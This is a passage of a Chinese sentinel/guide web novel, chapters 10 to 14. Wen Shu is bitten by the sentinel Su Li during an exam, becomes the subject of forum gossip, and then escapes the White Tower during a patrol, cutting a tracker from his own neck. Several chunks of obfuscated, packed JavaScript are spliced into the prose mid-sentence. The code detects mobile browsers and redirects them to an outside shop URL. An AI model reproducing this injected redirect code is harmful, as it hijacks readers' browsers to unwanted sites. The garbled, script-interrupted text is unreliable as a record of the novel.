d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223121|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在考试不是结束了吗?我有些私事要处理。” 私事? 温述有些不好的预感。果不其然,苏黎逼近自己,温述手挡在胸前阻止了一下,虽然心知这个动作毫无用处,但还是警告道:“你干什么?这么多老师同学都在呢!” 尽管如苏黎这样的冷感帅哥,身体的气息也是灼热的,让温述联想到在他精神域里看到的那片无垠沙漠,烈日高悬、气浪滚滚,温述觉得自己被他的热度烤得头晕目眩。 苏黎很少笑,但此刻深色的菱形唇弯了一下,“我想干什么?” 温述闻到了令他神思摇乱的迷迭香,他混乱地睁着眼睛,看着苏黎英俊的面庞一点点逼近。 那一刻他想的是——苏黎不会要强吻我吧! 伴随着面颊的刺痛感传来,温述惊恐地瞪大了他那一双异色眼睛,像猫儿似的受惊,闷哼了一声后死死按住了苏黎的肩膀。乌龙茶香与迷迭香交融,温和清新的香气中和了霸道辛辣的香气,缠缠绵绵被人吸入肺腑。 痛感带来清醒,温述恍惚意识到,苏黎对自己用异能了! 在自己浑然不觉的情况下,自己被他打下了【死神烙印】,而就在刚刚,苏黎控制毒发。由于剂量微小,温述只感觉浑身无力神志不清,但已经足够苏黎为所欲为了。 “苏……黎”,温述喘了一口气才有力气继续说话,他有气无力道:“我算是知道李铭钺是怎么被你阴的了。” 在所有人惊疑不定的目光下,苏黎一口咬上了温述的脸颊,任凭温述如何挣扎,苏黎就是不松口,尖尖的虎牙陷入柔软的皮肉尖,轻而易举就让那一处白皙见了红。 有学生结结巴巴地感叹,“这也太……涩了吧……” 一个巨帅巨有型的冰山哨兵,一个温文尔雅的俊美向导,两人要贴不贴要搂不搂,温述修长白皙的手指无力地挂在苏黎健壮有力的臂膀上,苏黎则霸道地捧着温述的左脸,做一些让人羞于启齿的亲密举动。 这颜值、这身材,对围观群众的眼睛太友好了。 监考老师是第一个慌忙阻止的,“苏黎你胆子肥了!你快松开人家!听到没有?!” 苏黎斜乜了监考老师一眼,这才缓缓松开了口,但此刻为时已晚,温述的脸上已经留下了一圈又红又肿的牙印。 温述后知后觉才感受到痛,捂着右脸指着苏黎,“你这是耍流氓!” 苏黎双手插兜,“那又怎样?” 温述只感觉浑身的血液都往头顶上涌,不知道是气的还是恼的,精神力池内汹涌澎湃的精神力如大潮般翻涌,在一个临界点后再也兜不住,以温述为中心瞬间井喷了出去。 精神力如海啸般喷涌,直接将苏黎震退数十米,拍在墙上砸出个蛛网状大坑。其余人未直接遭受冲击,却也脑子嗡嗡响,耳鸣了一般耳膜随时要炸掉。 没有用异能或精神体作为载体,就直接把精神力波甩了出去。 “这是拿金砖砸人啊!” 温述也没想到这个效果,连忙收起精神力,伸出手往苏黎的方向够了够,“没……没事吧……” 苏黎用手背拭去唇边的血迹,从坑里站了起来,“算了,这样我们也算扯平了。” 撂下最后一句话,他就头也不回地转身离开考场。 温述呆滞地看着苏黎留下的大坑,指了指那个方向,颤着嗓子对着监考老师问:“老师,损坏墙壁要我赔吗?” 11. 咩咩羊与黑判官 中央白塔的圣所论坛向来是个清净之地,由于只有用圣所内网才能进入,对用户身份审核严格,平时一般仅用于交流学习生活,聊天灌水远不如大群来得方便,因此平时很少有用户活跃。 但今天,论坛因为一封帖子活跃了起来。 【不吐不快!十年级向导控制与辅助先修考试咬脸事件!(侵权可删)】 1L(楼主) 如题所示,楼主是今天上午先修考试的亲历者、一只擦边及格的小向导,以人格担保我说的所有话都是事实! 2L(楼主) 先简述一下事情经过,今天楼主信心满满地去参加考试,不出所料看见考生里有一个熟悉的身影,不出所料是我们的咩咩羊男神。 3L Wow,楼主能参加先修考试,看来也是学霸一枚。 4L(楼主) 先跑一下题,咩咩羊男神果然一如既往的温柔,我和他说话他还笑着和我打招呼,鼓励我考试不要担心。男神果然颜好声甜,个子高高的,说话慢悠悠的,眼睛笑眯眯的,让人很想调戏啊啊啊!!! 5L 等等,楼主也是向导吧!对咩咩羊花痴不太合适吧! 6L(楼主) 完蛋,暴露了! 7L(楼主) 言归正传,总之考试的前半段还是十分顺利的。大家都知道这门考试不能一味只挑选等级高的哨兵做搭档,等级越高越不好控制,果不其然只剩下两个A级哨兵留给了咩咩羊选。其中一个被选走了,只剩下最后一个。 8L(楼主) 意外就在最后一个身上。 9L(楼主) 总之整场考试,咩咩羊和哨兵配合天衣无缝,神挡杀神佛挡杀佛,让楼主怀疑两人是不是缔结契约了。 10L 哈哈哈咱们圣所的咩咩羊男神目前单身,刚和前男友分手,应该是单纯契合度高。 11L 隐晦地提一句,如果是前夫哥,应该达不到这种配合效果。 12L(楼主) 楼上慎言别炸贴。 我继续说,总而言之两个人几乎砍掉了在场一半的组合,成功拿了最高分。期间前夫哥的未婚妻还出言挑衅,但还是被送走了,这段插曲就不细说了。 13L(楼主) 最炸裂的在最后!!! 14L(楼主) 那名哨兵似乎和咩咩羊吵架了,虽然在精神域里吵的我听不见,但一定和前几天爬咩咩羊阳台的那个熊猫精神体哨兵有关! 15L 死去的记忆又回来了,说实话那天晚上我真的笑呕了。 16L(楼主) 他们似乎越吵越激烈,哨兵一把扯了面罩! 17L(楼主) 你们猜他是谁!!! 18L 是谁? 19L 快说快说!别卖关子了! 20L +1 21L +1 …… 30L(楼主) 是黑判官!!!名字我不说了,该知道的都知道 31L ???不是他们原来认识?! 32L 这世界真小 33L 等等,你们谁有认真看标题吗? 34L (⊙o⊙)… 35L(楼主) 黑判官步步紧逼,咩咩羊退无可退,然后! 36L 啊啊啊啊啊我到底错过了什么! 37L(楼主) 黑判官一口咬住了咩咩羊的脸! 38L(楼主) 监考老师上来阻止,被黑判官一眼瞪了回去,说:“我要处理私事” 39L !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 40L 什么霸总语录? 41L(楼主) 你是不知道那霸气侧漏的一眼,把我一个无辜路人都要吓尿了!当然咩咩羊不可能忍受这种轻薄,直接红温把黑判官震飞了,考官也组织散场了,but我想知道的是 42L(楼主) 他们到底是什么关系! 43L(楼主) 咩咩羊,黑判官,熊猫哨兵,未婚妻,前夫哥,他们到底是什么关系! 44L 我可以证明楼主说的是真的,因为我撞见从考场出来的咩咩羊了,他行色匆匆一直捂着脸,甚至不小心撞到了我。撞我的时候他慌忙伸手去扶,我正好看到了……牙印…… 45L 刚去看了,咩咩羊右脸有纱布,我问他他说不小心摔的。 46L 贵圈太乱我不懂 47L 还能什么关系?修罗场关系呗! ……… ……… ……… 【帖子被删了!重发一条】 1L(楼主) 家人们,上一条帖子被删了,我也很蒙逼 2L 我就说怎么翻不到了,明明收藏了的 3L 幸好我有截图 4L(楼主) 总感觉自己被管理员盯上了,最近还是低调点 5L 家人们!你们难道没有发现,不仅帖子没了,就连大群里的讨论设被删了吗?! 6L 哦莫了~熟悉的配方熟悉的味道 7L 熟悉的捂嘴 8L 遥想去年,前夫哥泪失禁那一次也是…… 9L 楼上真敢说,你还活着吗? 10L 楼主?楼主怎么不说话了? 11L 楼主? 12L 楼主卒 13L 点蜡 14L 点蜡 …… 温述在房间阳台上对着光保养枪械时,收到了来自李弥的问候。 温述:【想清楚精神体的名字了?】 李科长:【没有。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223122|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温述心知以李弥的性格,不可能这么快就松口,说不定要硬生生挺到最后一刻才能服软。温述也只能善意地提醒他两句,以防他错过治疗的最佳时机。 李科长:【多谢小温同学的关心。】 李科长:【截图】 李科长:【截图】 李科长:【如果不是他们说,我还不知道考试的时候发生了这种事呢?那名哨兵没有对你怎么样吧?】 温述:【没有想到您这么关注我,劳您挂心(微笑)】 现实中,温述是皮笑肉不笑的。 上司对自己太过关注怎么办,在线等,急! 李科长【好了,看你没事我就不打扰了。】 弹匣、空仓挂机柄、复进簧、枪管帽、枪管……温述手下动作又快又稳,仅在十几秒内,就把一柄C56手枪拆解完毕,拿起细布擦拭后上油保养。 他手上的茧要比一般向导厚很多,用枪的准头也要强得多。在白塔的十年里,为了不让人看不起,为了争一口气,向导能做的事他要做,哨兵能做的事他也要做。他在入塔前五年总是担心“塔”有朝一日会发现自己是个没有用处的小鬼,失去利用价值后会残忍地把自己当作一枚废子,随意丢弃。而突破S级之后他又要时刻担心,塔不愿意放弃他这枚稀有的棋子,而自己将在这个过程中彻底失去自我。 就在这时,终端的提示音响了。 上面显示陌生通讯,温述感到有些疑惑,他第一遍没有接通,对方又第二遍第三遍打了过来。 于是温述接通了通讯。 终端立即弹出一个弹窗,露出一张化成灰温述都认得的脸。 绿松石般的绿色双眸,其内似有融化黄金流淌而过,幽绿为底衬着虹膜环带上的点点暗金色。幽绿狼眸注视着温述,这双眼睛的主人正倚靠在单人病床上,穿着白色病号服,镜头内还有几束探病者带来的花点缀。 李铭钺的双颊瘦削了些,下巴上也有一层青色胡茬,显得有些憔悴,但那股子难以忽视傲倨之气丝毫未减。 他一开口便是质问:“我昏迷这些天,你闹出来了什么幺蛾子?” “南佳树怎么回事?苏黎怎么回事?” “我把那些帖子都删了,看着心烦。” 温述明明给他拉黑了许多次,可李铭钺还是能找到各种办法骚扰自己,“和你有什么关系?我的事不用你管……” 李铭钺咳嗽了两声,哑着嗓子说:“我早和你说过,我们根本没必要分手,你可以继续当我的情人?” 温述眯起双眼,嗤笑一声,“什么情人?见不得光的那种,地下情人?你和风沐瑶结婚,让我去当小三?你脑子有病吧李铭钺?” 温述鲜少骂人,此时只恨自己词汇量太少,不能骂个痛快。 “我不喜欢风沐瑶,风沐瑶也不喜欢我,我们只是家族联姻,婚后各玩各的。” 温述抬起眼皮,有些意外地看向对面阳台朝自己走近的人。 黑发挑染两道白,脊背打得笔直,一身白衣像一只仙鹤一样站在窗台。 他翻转了摄像头,同时对着两个人说:“正好今天大家都在,咱就择日不如撞日把话都说开。” 12. 逃塔(1) 风沐瑶隔着阳台,有些诧异地看着眼前的情况,对温述说了一句:“温述,你有什么大病吧!” 李铭钺和风沐瑶大眼瞪小眼,良久才问一句:“你就是风沐瑶?” 温述都快把镜头怼到风沐瑶脸上了,震惊地质问李铭钺:“她是你未婚妻你不认识她?!” 李铭钺并不觉得这有什么奇怪,“我需要认识她吗?” 也是,大少爷千娇万宠眼高于顶,不屑认识的人是半点都记不住的。 风沐瑶阴恻恻地冷笑两声,“怎么,你们来合伙羞辱我啊?” 温述指了指自己,“我……和他?!你开玩笑吧!” 风沐瑶上下打量着温述,“谅你也不敢。” 李铭钺继续道:“温述,不要再任性了,你知道我是什么样的人,也没有人比我更了解你,离开了我你会后悔的。温……” 风沐瑶还在对面阳台看戏。 一个精神状态堪忧但自我感觉良好的癫子,一个注意力全然没有放在正确的人身上的乐子人,除了温述根本没人在意这个复杂的三角纠葛! 尤其是李铭钺的羞耻发言,让温述愈发感觉无地自容。 于是他啪一下直接挂了通讯。 风沐瑶咧嘴乐了,掏了掏耳朵,向温述伸手,“你不想再接到他的电话吧,把终端给我。” “你干什么?”但温述还是解下手腕上的终端,半信半疑地交到了风沐瑶手上。 隔着阳台,风沐瑶接过终端,走进了房间里,没过一会儿就又出来了。她将终端返还给温述,温述接过终端检查了一遍,发现屏幕上多了一个简洁的图标。 “我在你的终端里下了个程序,陌生号码就打不进来了。” 温述扬唇露齿笑了笑,“谢谢你,没想到你还会帮我。” 风沐瑶小声嘁了一声,一撩自己的长发,“夕止喜欢你,我也没办法。” 温述笑着没有点破,精神体绝对可以代表主人的意愿。而夕止的想法,也完全可以代表风沐瑶的想法。 他重新扣上了终端,“你真的要嫁给李铭钺吗?就没有……想过拒绝吗?” 风沐瑶伸手指了指天空,那里此刻是一片蔚蓝的天,但温述知道,穿过人造天幕,风沐瑶指向的方向是东部联合塔的中心,那座摩天巨物般金碧辉煌的大厦。 “我爷爷已经很久没登上过那个位置了,我要帮他。如果我阻断了你进入那里的希望,我很抱歉。” 温述摇头,目光指向另一个截然相反的方向,“我可能对你们趋之若鹜的那个地方没兴趣,我更想去下面看看。” 风沐瑶闻言笑了,“温述,看来你比我们的胆子都要大。” 风沐瑶所言非虚,温述要在今天下午的最后一次巡逻中逃离白塔。 这是一次无人敢想,也从未有人做过的冒险,他的确胆子大得吓人。 …… 中央白塔巡逻队的装备是统一的黑色制服,哨兵和向导在制服款式上没有区别,当温述蹬上战术靴,戴上头盔、护目镜、武装带,穿上防弹背心,全身上下已有十多公斤的负重。所有负责巡逻工作的学生统一来到交通港集合,由队长统一带队乘坐电轨车前往白塔下的城区。 这次温述负责的区域是主城的白银区,他本就出发得有些迟,一路小跑来到集合地。 其他队员应该已经等了有一会儿,带队队长站在车下,身子挺拔英武不凡,头盔和护目镜将他的脸遮去了一大半,看见温述跑来,向他挥了挥手,招呼道:“跑快点!” 温述跑近后站定,“报告,向导温述归队!” 队长点了点头,对着对讲机汇报:“第五小队应到18人,实到18人,全员到齐,准备出发。” 这声音…… 队长看向温述,拉下护目镜,露出一双狗狗眼,但此时这双狗狗眼里却是足以被人信赖的自信和沉着。 温述诧异,“南佳树,你是队长?” 南佳树把拳头放在下唇,咳了两声,“没想到吧……先上车!” 此时温述看着南佳树,莫名有一种吾家大儿初长成的欣慰感。原本温述也有资格申请队长的,只不过他这一趟注定要去搅浑水,没想去连累自家队员,于是就没申请。 没想到南佳树成了队长…… 温述看着南佳树棱角分明的侧脸,无奈地叹了一口气。 南佳树注意到温述的视线,偏过头小声说:“看我干吗,被我迷住了?” 温述笑:“还真有点。” 南佳树捂住心脏,又无憾了。 他盯温述半天,问出了一个困扰他许久的问题:“你脸咋啦?” 南佳树最近忙着义务劳动和组织巡逻,冲浪速度比别人慢一大截,再加上李铭钺删帖捂嘴够快,估计还不知道这几天发生的事。 温述只能尴尬地笑了笑,拙劣地解释道:“不小心摔了。” 南佳树挺心疼地看着他,“那你可得小心点,别让这张小白脸蛋破相了。” 温述,“……好。” 电轨车直接驶向白银区,南佳树向所有队员讲解注意事项,考虑到还有第一次参与巡逻的学生,他讲得十分详细。 “本次的巡逻路线已经发到了大家手上,不要忘记查看。巡逻途中跟紧队伍,发生任何情况向我汇报,切勿私自行动,明白了吗?” “明白。” “大声一点我听不见!” “明白!” 温述早已对注意事项烂熟于心,他看向车窗外的霓虹,再次默背李弥发给自己的藏物资地点。 白银区十一大道的第三条巷子尽头的垃圾桶内。 巡逻不会经过这个区域,温述要找时机脱离队伍。 南佳树不知何时坐在温述身旁,对温述道:“温述,这次你是副队。” 温述一惊,“我?” 南佳树,“你是他们学长,经验丰富,不是你是谁?” 温述心想你找了最不该找的人,但他也无法拒绝。 这次是夜间巡逻,18人分成两队,一队负责前半夜,一队负责后半夜,温述主动请缨前半夜,也便于能提前完成任务,不至于当甩手掌柜给南佳树添麻烦。 白塔下普通人的比例远超哨兵和向导,因此当全副武装的变种人队伍出现在大街上时,总会引来许多好奇瞩目的目光。 不少人停下来拍照。 “这是哨兵还是向导?” “哨兵要高一些,体格更壮。” “妈妈,哨兵和向导和我们不一样吗?” “宝贝,当然不一样。” “哪里不一样呢?不都有两个眼睛一个鼻子一个嘴巴吗?” 这位母亲思考了一会儿,方才回答:“他们是新人类,和我们不一样。” 前半夜的巡逻十分顺利,温述带队解决了两起变种人之间的纠纷,还将一名感官神游游荡在街头的哨兵送往医院。 12点交班时,他们恰巧接到了报警电话。 “两个哨兵在第十一大道打起来了!一个已经狂化了,另一个解放80%,没有向导拉不回来!” 南佳树迅速询问了详细地点,带队驱车前往。温述立即迎上去,“我也去。” “你只负责前半夜巡逻,现在是休息时间。” “但这里我是等级最高的向导,你带上我才最放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223123|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。” 南佳树被说服,让温述一起上车,一路飙车来到了出事地点。一看两名哨兵果然打得难解难分,一路火花四溅连带拆除基础设施。 温述感知后评价,“那个狂化的没救了,那个解放的到85%,脑袋没有完全兽化,还能救。” 南佳树迅速分配任务,组织队员疏散群众,救治伤员,“狂化哨兵交给我。” 温述接话:“另一个交给我。” 所有人立即行动,南佳树直接掏出M416押枪逼退狂化哨兵,再放出叶子硬钢狂化鬣狗,瞬间就插入战局把两名哨兵隔开了。 那手押枪神乎其技,看得温述拍手称好。温述自己也一跃而上,先用烟雾弹掩护,自己趁机靠近另一名哨兵,距离足够近时释放出蜃楼。 蜃楼贝壳一张一闭直接扣住了哨兵的鲨鱼精神体,而温述则放出精神力,磅礴的精神力如潮水奔涌而来,自己虽然没有杨明弦【静穆之塔】的异能,但仅靠精神力碾压,也瞬间将哨兵镇在原地。 温述伸出一只手,放在鲨鱼精神体上,无数金色丝线同时捆绑住鲨鱼和哨兵,探进哨兵的精神域,把那混乱的房间归置整齐,所有颠倒错乱的异常正位。 杨明弦教过自己,向导的精神梳理是一个收拾房间的过程。由于哨兵们不爱惜自己的精神域“房间”,把它弄脏弄乱,把浑浊的雾霾引入房间却无法自行消化,所以需要向导为他们整理房间、通风透气。整理倒是小事,但那些精神雾霾无法直接驱散,而需要向导将他们引入自己体内,幸而向导拥有调控精神力消解雾霾、自我净化的能力,这也是哨兵离不开向导的原因。 但温述目前身体状况特殊,在春晖大桥事件之后,他身体里的精神雾霾一直没有散去,最后形成了漆黑的精神阴霾,甚至成为精神泥沼,放在等级低一些的向导身上,人早就疯了。可偏偏温述除了一点幻视幻听,和部分记忆缺失,就像是没事人一样。 此时帮助这个哨兵,不过使精神泥沼多了薄薄一层。 无伤大雅。 然而在梳理的时候,温述还是不可避免地出现了幻听。 黏腻的水声,血滴声,众人凄惨的哀嚎声…… “温述,杀了我……” “杀了我。” “杀了我!” 温述猛地瞪大眼睛,异色瞳孔绽放出明亮的光华,他竟然发现不只自己脑子里的声音在嗡嗡,被自己治疗的哨兵竟然也在喃喃自语。 他大抵以为自己治疗无望了,口中不停嘟囔着,“杀了我……” 温述正被精神泥沼折磨心情烦躁,此时听见这个声音更是没好气,他咬牙反掌把这哨兵暴动的精神力按了下去,“一个个的死什么死?活着吧!” 南佳树和温述都在专心作战,自然忽略了头顶直升机的隆隆声。 漆黑的机身,大大的花体“3”标识,高速旋转的螺旋桨。 后座的人给副驾驶的男人递了一杯咖啡,并询问道:“队长,底下有人在械斗,我们要管吗?” 被称为队长的男人一头银发被眼罩勒得乱翘,他左手接过咖啡,小呻一口,右手挑开了自己的黑色眼罩,露出一只惺忪的右眼,向机窗外看了一眼。 他的瞳色很特别,是纯粹的紫色,犹如一口紫水晶晶洞。 绝佳的视力让他纵使身处百米高空,也能捕捉到地面的一切细节,就连S级哨兵的一招一式在他眼中都如慢速度播放一般。 但他的视线却锁定在一旁身体绽出无数金色丝线的向导身上,“他是……” “队长,要管吗?” 男人戴上眼罩,又躺了回去,“不管,小孩儿练手用的,咱别掺和。” 13. 逃塔(2) 温述这边先一步结束稳定住了暴走哨兵,一个响指用异能将人弄晕过去后,叫来两名队员把他送去治疗。 南佳树这边的战斗也已经到了尾声,他为了避免误伤群众,将狂化鬣狗引到了马路的巨型广告牌上,甚至连异能都没有使用,直接将狂化哨兵狙击成了筛子。完全兽化的尸体从广告牌上跌落,一抹暗红从他身下晕开。 南佳树也从广告牌上跳下去,用对讲机指挥队员们收拾残局。 警车和救护车的红蓝.灯光交错闪烁,现场一片混乱,所有队员都在安抚群众、救助伤者,处理善后工作……无暇顾及其他。温述默默地从人群中心向后退,心知这就是逃跑的最佳时机。 他先悄无声息地用【海市蜃楼】控制了自己身边的几个人,借着掩护钻进了围观的人群之中,行云流水地摘下了头盔护目镜和战术马甲,借了身边大叔的长外套披在身上,又借了一旁青年的鸭舌帽扣在头上,闷头往人墙外走去。 同时,他启动了一直藏在身上的EMP电磁脉冲发射器,令附近所有的监控系统瘫痪。 但EMP影响的不只有监控系统,很快有人疑惑道:“哎我终端怎么用不了了?” “我也是!” “我车怎么开不了了?” EMP争取到的几十秒时间足以让温述从人群中脱身。 南佳树也迅速发现了不对劲,幸好军用设备都有抗电磁脉冲加固,他及时向上级反映了情况,叫信息部来支援,“有人对我们使用了EMP攻击,请总部尽快支援。” 他条件反射地在人群中寻找那个熟悉的身影,对着对讲机道:“温述,我们被不明人士攻击了,你快到我身边。” 然而回答他的只有嘈杂的电流声。 温述此时已经到了指定地点,在垃圾桶里翻找到他所需的所有物资。 武器、衣服、食物、抑制项圈、拟态面具、抑制剂、身份芯片,甚至还有一枚机车钥匙。温述将自己终端里的身份芯片掏出来掰断,扔进垃圾桶里,刷机卸载了所有通讯软件,关闭定位功能,将“白九”的身份芯片装进终端里。 确认无误后他解开颈带,拔出绑在小腿上的军刀,酒精消毒后对着自己的后颈比画了一下。 埋在身体里的追踪器才是最要紧的,温述必须趁早把这东西剜出来,但真要在自己身上动刀子,是个人都要犯怵。 就在这时,温述的身后传来了一道惊讶的声音,“温述,你在这里干什么?” 温述一回头,看见了拿着对讲机的南佳树。他没有惊慌,而是冷静地注视着南佳树,放下刀举起枪对准他,“不好意思,我骗了你,但我这次绝不是叛逃,希望你能放我走。” 南佳树深吸了一口气,双手稳稳地握住枪,以一个标准的射击姿势指向温述,“抱歉,我不能让你走。和我回去,我给你打掩护,就当什么也没有发生过。” 对峙了十秒后,终于有人松动了。 南佳树吐出一口气,欣慰地看着温述摘下帽子,蹲下将枪放在地上,面对他举起双手。 温述有些无奈,笑着对他说:“好吧,没想到还是被你发现了,服了你了。” 他从暗巷中的阴影走出,举着双手向南佳树走近。 “就这样走过来”,南佳树咽了一口口水,安抚温述,“你不要紧张,我不会对你怎么样的,外面的人还没发现你失踪了。” 事实上,紧张的人是南佳树。 温述站在光与暗的交界处,黑色的眼眸藏进黑暗中,银色的眼眸带着温和的笑意,注视着南佳树。南佳树对他说:“你就站在那里,我过去。” 南佳树大步走上前去,卸下了温述身上的武装带,把藏在他袖口、后腰的小刀都给搜了出来,将这些危险物品全都扔在地上,顺便用脚拨远一些防止温述有可乘之机。 他莫名感到有些委屈,对温述嘟囔道:“你为什么要逃塔,是有谁对你不好吗?为什么你受了什么委屈都不和我说,我一点也猜不透你的心思。” 温述举起的手蜷缩了一下,放下手臂,将手放在南佳树的头上。南佳树也顾不得敌对不敌对了,立即配合地弯下腰,让温述能摸头摸得更轻松些,“对不起啊温述,我拦住你也是迫不得已……” 就在此时,温述突然弯下腰,将双唇凑到南佳树耳边,南佳树立即侧耳去听。 灼热的吐息喷洒在南佳树的耳廓上,立即让他的耳朵尖红透。 温述双唇翕合,说道:“我知道,你的枪根本没上膛。” 南佳树瞳孔骤缩,猛地抓住身前的温述,然而手下并没有感受到温热的躯体,他抓了个空! 刹那间,南佳树只感觉脑仁里传来针刺般的疼痛,他痛苦地捂住脑袋,那疼痛却转瞬即逝,当他再次睁开眼睛时,眼前哪里还有什么温述,就连地上卸下的装备都空空如也! 空荡荡的巷子中,只余南佳树一个人。 南佳树立即反应过来自己中招了,他转身向巷子外狂奔,没有跑出几步就撞上了过来寻找他的队员。他急切地对他们喊道:“快去找温述!他人不见了!” 队员面面相觑,但很快反应过来事态的严重性,转身向外跑去。 六小时后,南佳树被强迫解除武装,坐在了塔防3课冰冷的审讯室里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223124|139398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塔防3课不像警署,只进行辖区范围内的治安管理和刑事侦查,他们是中央白塔直属部门,管辖范围是整个东部联合塔,管辖对象则只包含变种人,他们专职清除带有反叛因子,对塔的安全造成威胁的变种人,类似向导的思想侵犯罪和哨兵的异能滥用罪都归他们处理。 按理说,发生队员跑路这种情况,身为队长的南佳树应该先被警署带走调查才对,但不知为何这次3课反应这么快,先一步把人截了。等警署反应过来的时候,南佳树已经被反铐双手,带上止咬器,坐在了3课的审讯椅上。 南佳树的耳朵动了动,他敏锐地听到了外面的响声。果然不过一分钟,审讯室的门就被打开了,南佳树抬头,感到有些意外。 “李铭钺,你怎么会在这儿?” 李铭钺身上还穿着圣所的制服,他一个箭步冲上前去,一脚踹上了南佳树的小腹。南佳树被踹得连人带椅子翻过去,甚至还向后滑行了几米,钢椅子的棱角摩擦地面,发出了刺耳的响声。 李铭钺还不解气,一脚垫上了南佳树的肩膀,沉着的力道落下,“废物,连个人都看不住,胳膊别要了!” 剧烈的疼痛从肩膀上传来,南佳树向来被李铭钺压一头,但此刻他双目赤红,瞪视李铭钺的凶狠眼神竟然让李铭钺的心脏也颤抖了一下。 “我艹你奶奶个腿儿!给老子挪开你那臭脚!” 南佳树用【钢化之爪】钢化了双臂的骨骼,一用力就挣开了磁吸手铐,他一爪向李铭钺挥去,与李铭钺扭打在一起。 谢安年进来的时候,看到的就是这样一幅场景。 他抓了抓一头月华般的银发,头疼地对身后的副队说:“谁让那玩意进来的?” 副队一时间没理解,“哪玩意?” 谢安年指了指正骑在南佳树身上打的李铭钺。 副队立即要上前把两人拉开,不忘回头问:“头儿,你要亲自审吗?” 没想到谢安年直接做了令所有人一个出乎意料的举动。 他直接撕下了自己的队长胸章,走上前拍在副队胸口上,“恭喜你,升职了,审讯的活交给你了!” 副队呆滞地捧着胸章,他身后撕打成一团的两人也停下了。 谢安年转身扬长而去,背对他们摆了摆手,“我刚跟那群老头请示完,温述我来找。这次责任不在熊猫,他拦了没拦住,估计还被温述当狗耍,审一审就可以放了。至于那只白狼,我不知道是谁放进去的,但是擅闯机关重地,不罚一罚还当我3三课没人了?” 副队听到指示,利落地靠脚,对谢安年行了一个标准的军礼,“是,头儿!” 14. 劫色 温述在白银区一条僻静的小巷子中完成了自己的追踪器摘除手术,他戴上胶皮手套,用酒精将小刀消毒,稳准狠地刺入了自己后颈的右侧方,那个紧贴自己腺体的位置。 他用手指摸上了后颈,强忍疼痛用食指和拇指捏住了那个金属小东西,一举将其拔了出来,甩在地上。 鲜血顺着后颈流下,浸透了他的衣服。豆大的汗珠顺着温述的下颌流下,没入衣领,温述撑着地,强忍住后颈的剧烈刺痛和一阵阵头晕目眩,从武装带里摸出酒精和绷带,为自己包扎伤口。 追踪器的位置离腺体太近,难免伤到腺体,温述只感觉后颈位置如被火灼,眼看就有蔓延全身的趋势,乌龙茶香也不受控地逸散出来。他迅速给自己打上了一针抑制剂,让自己的身体状况稳定下来,收拢了自己的信息素。 能代表自己身份的领带也被温述在途中扔了,他从物资袋里翻出抑制颈圈,为自己扣上。咔嗒一声锁扣合拢,三指宽的颈圈漆黑颈圈就这样箍在修长白皙的脖颈上,覆盖住了新缠的绷带。 几乎是项圈合上的瞬间,温述就感觉如山般的压力降临在自己的精神力池,让他只能调动如涓涓细流般的精神力。他此时的等级已经被压制在了E级。 没有时间耽搁,他飞快地换上了李弥为自己准备的衣服,离开巷子,最后在距离小巷500米的地方找到了机车。 温述戴上头盔,跨上机车,点火启动,排气管喷出石泪金燃烧的金色火焰,朝着泷川大桥的方向疾驰而去。 主城的灯火依旧璀璨,而隔岸则被黑暗笼罩,泷川大桥的入口则成了潜伏在黑暗中的巨兽的大口。 车载导航不停提醒温述。 【该路段限速70,当前时速150,请减速行驶。】 温述猛地加了一把油门,发动机轰的一声响,眼看要惊动机械交警,温述一转龙头钻入了一旁暗巷。 每一个城市都有许多监控死角,而温述要找的就是这些监控死角。 所有街景被加速倒后,化作彩色直线条被温述抛在脑后,高速行驶带来的劲风拍打在温述身上,从温述的袖口衣角钻入,从未有过的畅快感觉如一团云雾,从他的心脏升腾而起。 他一个漂亮的压弯,驾驶机车从一旁小道闪出,冲向大桥入口的光幕。 【身份认证,白九】 【车牌号,CW06-32】 【您已离开主城区域,祝您一路顺风!】 这一刻,温述方才感受到,有一种人所应当拥有的权利名叫“自由”。 说来有趣,下城区房价最高的地方,是观赏中央白塔视角最好的地方。由于中央白塔总是无时无刻不灯火璀璨,辐射着耀眼的光芒,下城区的人也把这种住房称为“采光好”的住房。 